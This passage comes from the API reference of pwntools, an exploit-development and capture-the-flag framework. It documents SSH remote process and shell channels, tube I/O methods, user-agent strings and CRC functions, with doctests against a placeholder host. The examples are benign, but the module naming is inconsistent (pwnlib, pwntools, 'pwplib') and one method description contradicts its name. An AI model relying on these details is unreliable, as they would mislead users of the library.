To achieve this, a Python script is created to call `os.execve` with the appropriate arguments.

As an added bonus, the `ssh_channel` object returned has a `pid` property for the process pid.

Parameters

- **argv** (*list*) – List of arguments to pass into the process
- **executable** (*bytes, str*) – Path to the executable to run. If `None`, `argv[0]` is used.
- **tty** (*bool*) – Request a `tty` from the server. This usually fixes buffering problems by causing `libc` to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. `Ctrl+C`) and breaks `.shutdown`.
- **cwd** (*bytes, str*) – Working directory. If `None`, uses the working directory specified on `cwd` or set via `set_working_directory()`.
- **env** (*dict*) – Environment variables to set in the child. If `None`, inherits the default environment.
- **timeout** (*int*) – Timeout to set on the `tube` created to interact with the process.

- **run** (*bool*) – Set to True to run the program (default). If False, returns the path to an executable Python script on the remote server which, when executed, will do it.
- **stdin** (*int, bytes, str*) – If an integer, replace stdin with the numbered file descriptor. If a string, a open a file with the specified path and replace stdin with its file descriptor. May also be one of `sys.stdin`, `sys.stdout`, `sys.stderr`. If None, the file descriptor is closed.
- **stdout** (*int, bytes, str*) – See stdin.
- **stderr** (*int, bytes, str*) – See stdin.
- **preexec_fn** (*callable*) – Function which is executed on the remote side before `execve()`.
- **preexec_args** (*object*) – Argument passed to `preexec_fn`.
- **raw** (*bool*) – If True, disable TTY control code interpretation.
- **aslr** (*bool*) – See `pwnlib.tubes.process.process` for more information.
- **setuid** (*bool*) – See `pwnlib.tubes.process.process` for more information.

Returns A new SSH channel, or a path to a script if `run=False`.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline('echo Hello; exit')
>>> sh.recvall()
b'Hello\n'
>>> s.process(['/bin/echo', b'\xff']).recvall()
b'\xff\n'
>>> s.process(['readlink', '/proc/self/exe']).recvall()
b'/bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
b'/bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').recvall()
b'LOLOLOL\x00/proc/self/cmdline\x00'
>>> s.process(['pwd'], cwd='/tmp').recvall()
b'/tmp\n'
>>> p = s.process(['python2', '-c', 'import os; print os.read(2, 1024)'], stderr=0)
>>> p.send('hello')
>>> p.recv()
b'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
b'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
b''
>>> s.process(['/usr/bin/env'], env={}).recvall()
b''
```

```
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
b'A=B\n'
```

remote (*host, port, timeout=pwplib.timeout.Timeout.default*)
 connect_remote(host, port, timeout=Timeout.default) -> ssh_connecter

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_connecter` object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> b.recvline()
b'Hello\n'
```

run (*process, tty=True, wd=None, env=None, timeout=pwplib.timeout.Timeout.default, raw=True*)
 Backward compatibility. Use `system()`

run_to_end (*process, tty=False, timeout=Timeout.default, env=None*) -> bytes

Run a command on the remote server and return a tuple with (data, exit_status). If `tty` is `True`, then the command is run inside a TTY on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> print(s.run_to_end('echo Hello; exit 17'))
(b'Hello\n', 17)
```

set_working_directory (*wd=None*)

Sets the working directory in which future commands will be run (via `ssh.run`) and to which files will be uploaded/downloaded from if no path is provided

Note: This uses `mktemp -d` under the covers, sets permissions on the directory to `0700`. This means that `setuid` binaries will **not** be able to access files created in this directory.

In order to work around this, we also `chmod +x` the directory.

Parameters `wd` (*bytes, string*) - Working directory. Default is to auto-generate a directory based on the result of running `'mktemp -d'` on the remote machine.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
b''
>>> s.pwd().decode('utf8') == cwd
True
```

sftp

Paramiko SFTPClient object which is used for file transfers. Set to None to disable sftp.

shell (*shell=None, tty=True, timeout=Timeout.default*) → ssh_channel

Open a new channel with a shell inside.

Parameters

- **shell** (*str*) – Path to the shell program to run. If None, uses the default shell for the logged in user.
- **tty** (*bool*) – If True, then a TTY is requested on the remote server.

Returns Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline('echo Hello; exit')
>>> b'Hello' in sh.recvall()
True
```

system (*process, tty=True, wd=None, env=None, timeout=Timeout.default, raw=True*) → ssh_channel

Open a new channel with a specific process inside. If *tty* is True, then a TTY is requested on the remote server.

If *raw* is True, terminal control codes are ignored and input is not echoed back.

Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> py = s.run('python2 -i')
>>> _ = py.recvuntil('>>> ')
>>> py.sendline('print 2+2')
>>> py.sendline('exit()')
>>> print(repr(py.recvline()))
b'4\n'
```

upload_data (*data, remote*)

Uploads some data into a file on the remote server.

Parameters

- **data** (*bytes, str*) – The data to upload.
- **remote** (*bytes, str*) – The filename to upload it to.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> s.upload_data(b'Hello, world', '/tmp/upload_foo')
>>> open('/tmp/upload_foo', 'rb').read()
b'Hello, world'
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data(b'Hello, world', '/tmp/upload_bar')
>>> open('/tmp/upload_bar', 'rb').read()
b'Hello, world'
```

upload_dir (*local, remote=None*)

Recursively uploads a directory onto the remote server

Parameters

- **local** (*str*) – Local directory
- **remote** (*bytes, str*) – Remote directory

upload_file (*filename, remote=None*)

Uploads a file to the remote server. Returns the remote filename.

Parameters

- **filename** (*bytes, str*) – The local filename to download
- **remote** (*bytes, str*) – The remote filename to save it to. Default is to infer it from the local filename.

which (*program*) → bytes

Minor modification to just directly invoking `which` on the remote system which adds the current working directory to the end of `$PATH`.

class `pwnlib.tubes.ssh.ssh_channel`

Bases: `pwnlib.tubes.sock.sock`

interactive (*prompt=pwnlib.term.text.bold_red('\$') + ' '*)

If not in TTY-mode, this does exactly the same as `meth:pwnlib.tubes.tube.tube.interactive`, otherwise it does mostly the same.

An SSH connection in TTY-mode will typically supply its own prompt, thus the prompt argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the `pwnlib.term` is more mature.

kill ()

Kills the process.

poll () → int

Poll the exit code of the process. Will return `None`, if the process has not yet finished and the exit code otherwise.

class `pwntools.tubes.ssh.ssh_connecter`

Bases: `pwntools.tubes.sock.sock`

class `pwntools.tubes.ssh.ssh_listener`

Bases: `pwntools.tubes.sock.sock`

2.20.2 `pwntools.tubes.tube` — Common Functionality

class `pwntools.tubes.tube.tube`

Container of all the tube functions common to sockets, TTYs and SSH connections.

can_recv (*timeout=0*) → bool

Returns True, if there is data available within *timeout* seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda n: False
>>> t.can_recv()
False
>>> _ = t.unrecv(b'data')
>>> t.can_recv()
True
>>> _ = t.recv()
>>> t.can_recv()
False
```

clean (*timeout=0.05*) → bytes

Removes all the buffered data from a tube by calling `pwntools.tubes.tube.tube.recv()` with a low timeout until it fails.

If *timeout* is zero, only cached data will be cleared.

Note: If *timeout* is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

Returns All data received

Examples

```
>>> t = tube()
>>> t.unrecv(b'clean me up')
>>> t.clean(0)
b'clean me up'
>>> len(t.buffer)
0
```

clean_and_log (*timeout=0.05*) → bytes

Works exactly as `pwntools.tubes.tube.tube.clean()`, but logs received data with `pwntools.self.info()`.

Returns All data received

Examples

```
>>> def recv(n, data=[b'', b'hooray_data']):
...     while data: return data.pop()
>>> t = tube()
>>> t.recv_raw = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno = lambda: 1234
>>> with context.local(log_level='info'):
...     data = t.clean_and_log()
[DEBUG] Received 0xb bytes:
      b'hooray_data'
>>> data
b'hooray_data'
>>> context.clear()
```

close()

Closes the tube.

connect_both (*other*)

Connects the both ends of this tube object with another tube object.

connect_input (*other*)

Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print(x)
>>> def recvone(n, data=[b'data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> import time
>>> _ = (b.connect_input(a), time.sleep(0.1))
b'data'
```

connect_output (*other*)

Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print(x)
>>> def recvone(n, data=[b'data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
```

```
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> _ = (a.connect_output(b), time.sleep(0.1))
b'data'
```

connected (*direction='any'*) → bool

Returns True if the tube is connected in the specified direction.

Parameters *direction* (*str*) – Can be the string ‘any’, ‘in’, ‘read’, ‘recv’, ‘out’, ‘write’, ‘send’.

Doctest:

```
>>> def p(x): print(x)
>>> t = tube()
>>> t.connected_raw = p
>>> _ = [t.connected(x) for x in ('any', 'in', 'read', 'recv', 'out', 'write', 'send')]
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']"
```

connected_raw (*direction*)

connected(*direction='any'*) -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno () → int

Returns the file number used for reading.

interactive (*prompt=pwntools.term.text.bold_red('\$') + ' '*)

Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using *pwntools.term* to print a floating prompt.

Thus it only works in while in *pwntools.term.term_mode*.

newline = b'\n'

Delimiter to use for *sendline()*, *recvline()*, and related functions.

recv (*numb=4096, timeout=default*) → bytes

Receives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty bytes (b'') is returned.

Raises *exceptions.EOFError* – The connection is closed

Returns A string containing bytes received from the socket, or b'' if a timeout occurred while waiting.

Examples

```

>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: b'Hello, world'
>>> t.recv() == b'Hello, world'
True
>>> t.unrecv(b'Woohoo')
>>> t.recv() == b'Woohoo'
True
>>> with context.local(log_level='debug'):
...     _ = t.recv()
[...] Received 0xc bytes:
      b'Hello, world'

```

recvall () → bytes

Receives data until EOF is reached.

recvline (*keepends=True*) → bytes

Receive a single line from the tube.

A “line” is any sequence of bytes terminated by the byte sequence set in *newline*, which defaults to `b'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

Parameters

- **keepends** (*bool*) – Keep the line ending (`True`).
- **timeout** (*int*) – Timeout

Returns All bytes received over the tube until the first newline `b'\n'` is received. Optionally retains the ending.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\r\nBaz\n'
>>> t.recvline()
b'Foo\n'
>>> t.recvline()
b'Bar\r\n'
>>> t.recvline(keepends=False)
b'Baz'
>>> t.newline = b'\r\n'
>>> t.recvline(keepends=False)
b'Foo\nBar'

```

recvline_contains (*items, keepends=False, timeout=pwntools.timeout.Timeout.default*)

Receive lines until one line is found which contains at least one of *items*.

Parameters

- **items** (*bytes, str, tuple*) – List of strings to search for, or a single string.
- **keepends** (*bool*) – Return lines with newlines if `True`
- **timeout** (*int*) – Timeout, in seconds

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_contains('r')
b'World'
>>> f = lambda n: b"cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains('pear')
b'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(('car', 'train'))
b'bicycle car train'

```

recvline_endswith (*delims, keepends=False, timeout=default*) → bytes

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

See `recvline_startswith()` for more details.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith('r')
b'Bar'
>>> t.recvline_endswith(tuple('abcde'), True)
b'Kaboodle\n'
>>> t.recvline_endswith('oodle')
b'Kaboodle'

```

recvline_pred (*pred, keepends=False*) → bytes

Receive data until `pred(line)` returns a truthy value. Drop all other data.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

Parameters `pred` (*callable*) – Function to call. Returns the line for which this function returns True.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: b"Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == b"Bar\n")
b'Bar'
>>> t.recvline_pred(lambda line: line == b"Bar\n", keepends=True)
b'Bar\n'
>>> t.recvline_pred(lambda line: line == b'Nope!', timeout=0.1)
b''

```

recvline_regex (*regex, exact=False, keepends=False, timeout=pwntools.timeout.Timeout.default*)

`recvregex(regex, exact=False, keepends=False, timeout=default)` -> bytes

Wrapper around `recvline_pred()`, which will return when a regex matches a line.

By default `re.RegexObject.search()` is used, but if `exact` is set to `True`, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

recvline_startswith (*delims*, *keepends=False*, *timeout=default*) → bytes

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

Parameters

- **delims** (*bytes, str, tuple*) – List of strings to search for, or string of single characters
- **keepends** (*bool*) – Return lines with newlines if `True`
- **timeout** (*int*) – Timeout, in seconds

Returns The first line received which starts with a delimiter in *delims*.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith(tuple('WXYZ'))
b'World'
>>> t.recvline_startswith(tuple('WXYZ'), True)
b'Xylophone\n'
>>> t.recvline_startswith('Wo')
b'World'
```

recvlines (*numlines*, *keepends=False*, *timeout=default*) → bytes list

Receive up to *numlines* lines.

A “line” is any sequence of bytes terminated by the byte sequence set by *newline*, which defaults to `b'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

Parameters

- **numlines** (*int*) – Maximum number of lines to receive
- **keepends** (*bool*) – Keep newlines at the end of each line (`False`).
- **timeout** (*int*) – Maximum timeout

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `b''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlines(3)
[b'', b'', b'']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
[b'Foo', b'Bar', b'Baz']
>>> t.recvlines(3, True)
[b'Foo\n', b'Bar\n', b'Baz\n']
```

recvn (*numb*, *timeout=default*) → bytes

Receives exactly *n* bytes.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty bytes (b'') is returned.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or b'' if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> data = b'hello world'
>>> t.recv_raw = lambda n: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[0:1]
True
>>> t.recv_raw = lambda n: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or b'a'
>>> t.recvn(10, timeout=0.05)
b''
>>> t.recvn(10, timeout=0.06)
b'aaaaaaaaaa'
```

recvpred (*pred*, *timeout=default*) → bytes

Receives one byte at a time from the tube, until *pred* (bytes) evaluates to True.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty bytes (b'') is returned.

Parameters

- **pred** (*callable*) – Function to call, with the currently-accumulated data.
- **timeout** (*int*) – Timeout for the operation

Raises `exceptions.EOFError` – The connection is closed

Returns A string containing bytes received from the socket, or b'' if a timeout occurred while waiting.

recvregex (*regex*, *exact=False*, *timeout=default*) → bytes

Wrapper around `recvpred()`, which will return when a regex matches the string in the buffer.

By default `re.RegexObject.search()` is used, but if *exact* is set to `True`, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

recvrepeat () → bytes

Receives data until a timeout or EOF is reached.

Examples

```
>>> data = [
... b'd',
... b'', # simulate timeout
... b'c',
... b'b',
... b'a',
... ]
>>> def delayrecv(n, data=data):
...     return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
b'abc'
>>> t.recv()
b'd'
```

recvuntil (*delims*, *timeout=default*) → bytes

Receive data until one of *delims* is encountered.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty bytes (`b''`) is returned.

Parameters

- **delims** (*bytes, str, tuple*) – String of delimiters characters, or list of delimiter strings.
- **drop** (*bool*) – Drop the ending. If `True` it is removed from the end of the return value.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `b''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello World!"
>>> t.recvuntil(' ')
b'Hello '
>>> _ = t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil(tuple(' Wor'))
```

```
b'Hello'
>>> _ = t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(b' Wor')
b'Hello Wor'
>>> _ = t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(' Wor', drop=True)
b'Hello'
```

```
>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello|World"
>>> t.recvuntil('|', drop=True)
b'Hello'
```

send (*data*)

Sends data.

If log level `DEBUG` is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises exceptions `.EOFError`

Examples

```
>>> def p(x): print(repr(x))
>>> t = tube()
>>> t.send_raw = p
>>> t.send('hello')
b'hello'
```

sendafter (*delim, data, timeout=default*) → bytes

A combination of `recvuntil(delim, timeout)` and `send(data)`.

sendline (*data*)

Shorthand for `t.send(data + t.newline)`.

Examples

```
>>> def p(x): print(repr(x))
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline('hello')
b'hello\n'
>>> t.newline = b'\r\n'
>>> t.sendline('hello')
b'hello\r\n'
```

sendlineafter (*delim, data, timeout=default*) → bytes

A combination of `recvuntil(delim, timeout)` and `sendline(data)`.

sendlinethen (*delim, data, timeout=default*) → bytes

A combination of `sendline(data)` and `recvuntil(delim, timeout)`.

sendthen (*delim, data, timeout=default*) → bytes

A combination of `send(data)` and `recvuntil(delim, timeout)`.

settimeout (*timeout*)

Set the timeout for receiving operations. If the string “default” is given, then `context.timeout` will be used. If `None` is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown (*direction="send"*)

Closes the tube for further reading or writing depending on *direction*.

Parameters *direction* (*str*) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.

Returns `None`

Examples

```
>>> def p(x): print(x)
>>> t = tube()
>>> t.shutdown_raw = p
>>> _ = [t.shutdown(x) for x in ('in', 'read', 'recv', 'out', 'write', 'send')]
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"
```

shutdown_raw (*direction*)

Should not be called directly. Closes the tube for further reading or writing.

spawn_process (**args, **kwargs*)

Spawns a new process having this tube as `stdin`, `stdout` and `stderr`.

Takes the same arguments as `subprocess.Popen`.

timeout_change ()

Informs the raw layer of the tube that the timeout has changed.

Should not be called directly.

Inherited from `Timeout`.

unrecv (*data*)

Puts the specified data back at the beginning of the receive buffer.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: b'hello'
>>> t.recv()
b'hello'
>>> t.recv()
b'hello'
>>> t.unrecv(b'world')
>>> t.recv()
b'world'
>>> t.recv()
b'hello'

```

wait()

Waits until the tube is closed.

wait_for_close()

Waits until the tube is closed.

2.21 pwnlib.ui — Functions for user interaction

`pwnlib.ui.more(text)`

Shows text like the command line tool `more`.

It not in `term_mode`, just prints the data to the screen.

Parameters `text` (*str*) – The text to show.

Returns `None`

`pwnlib.ui.options(prompt, opts, default=None)`

Presents the user with a prompt (typically in the form of a question) and a number of options.

Parameters

- **prompt** (*str*) – The prompt to show
- **opts** (*list*) – The options to show to the user
- **default** – The default option to choose

Returns The users choice in the form of an integer.

`pwnlib.ui.pause(n=None)`

Waits for either user input or a specific number of seconds.

`pwnlib.ui.yesno(prompt, default=None)`

Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

Parameters

- **prompt** (*str*) – The prompt to show
- **default** – The default option; `True` means “yes”

Returns `True` if the answer was “yes”, `False` if “no”

2.22 pwnlib.useragents — A database of useragent strings

Database of >22,000 user agent strings

`pwnlib.useragents.getall()` → str set
Get all the user agents that we know about.

Parameters None –

Returns A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

`pwnlib.useragents.random()` → str
Get a random user agent string.

Parameters None –

Returns A random user agent string selected from `getall()`.

Example

```
>>> random()
'Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0'
```

2.23 pwnlib.util.crc — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations known on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working directly on bit polynomials.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of 'A'*40000.

An obvious optimization would be to actually generate some lookup-tables.

`pwnlib.util.crc.generic_crc(data, polynom, width, init, refin, refout, xorout)`
A generic CRC-sum function.

This is suitable to use with: <http://reveng.sourceforge.net/crc-catalogue/all.htm>

The “check” value in the document is the CRC-sum of the string “123456789”.

Parameters

- **data** (*bytes, str, list*) – The data to calculate the CRC-sum of. This should either be a string or a list of bits.
- **polynom** (*int*) – The polynomial to use.

- **init** (*int*) – If the CRC-sum was calculated in hardware, then this would be the initial value of the checksum register.
- **refin** (*bool*) – Should the input bytes be reflected?
- **refout** (*bool*) – Should the checksum be reflected?
- **xorout** (*int*) – The value to xor the checksum with before outputting

`pwntools.util.crc.cksum(data) → int`

Calculates the same checksum as returned by the UNIX-tool `cksum`.

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print(cksum('123456789'))
930766865
```

`pwntools.util.crc.find_crc_function(data, checksum)`

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

Parameters `data` (*str*) – Data for which the checksum is known.

Example

```
>>> find_crc_function('test', 46197)
[<function crc_crc_16_dnp at ...>]
```

`pwntools.util.crc.arc(data) → int`

Calculates the arc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print(arc('123456789'))
47933
```

`pwntools.util.crc.crc_10(data) → int`

Calculates the `crc_10` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x233
- width = 10
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_10 ('123456789'))
409
```

`pwnlib.util.crc.crc_10_cdma2000` (*data*) → int
Calculates the `crc_10_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3d9
- width = 10
- init = 0x3ff
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_10_cdma2000 ('123456789'))
563
```

`pwnlib.util.crc.crc_11` (*data*) → int
Calculates the `crc_11` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x385
- width = 11
- init = 0x1a
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_11 ('123456789'))
1443
```

`pwnlib.util.crc.crc_12_3gpp` (*data*) → int

Calculates the `crc_12_3gpp` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x80f`
- `width = 12`
- `init = 0x0`
- `refin = False`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_12_3gpp ('123456789'))
3503
```

`pwnlib.util.crc.crc_12_cdma2000` (*data*) → int

Calculates the `crc_12_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xf13`
- `width = 12`
- `init = 0xfff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-cdma2000>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_12_cdma2000 ('123456789'))
3405
```

`pwnlib.util.crc.crc_12_dect (data) → int`
Calculates the `crc_12_dect` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x80f`
- `width = 12`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print (crc_12_dect ('123456789'))
3931
```

`pwnlib.util.crc.crc_13_bbc (data) → int`
Calculates the `crc_13_bbc` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x1cf5`
- `width = 13`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print (crc_13_bbc ('123456789'))
1274
```

`pwnlib.util.crc.crc_14_darc (data) → int`
Calculates the `crc_14_darc` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x805`
- `width = 14`
- `init = 0x0`
- `refin = True`

- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_14_darc('123456789'))
2093
```

`pwnlib.util.crc.crc_15(data) → int`
Calculates the `crc_15` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4599
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_15('123456789'))
1438
```

`pwnlib.util.crc.crc_15_mpt1327(data) → int`
Calculates the `crc_15_mpt1327` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x6815
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_15_mpt1327 ('123456789'))
9574
```

`pwnlib.util.crc.crc_16_aug_ccitt(data) → int`

Calculates the `crc_16_aug_ccitt` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x1d0f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_aug_ccitt ('123456789'))
58828
```

`pwnlib.util.crc.crc_16_buypass(data) → int`

Calculates the `crc_16_buypass` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_buypass ('123456789'))
65256
```

`pwnlib.util.crc.crc_16_ccitt_false(data) → int`

Calculates the `crc_16_ccitt_false` checksum.

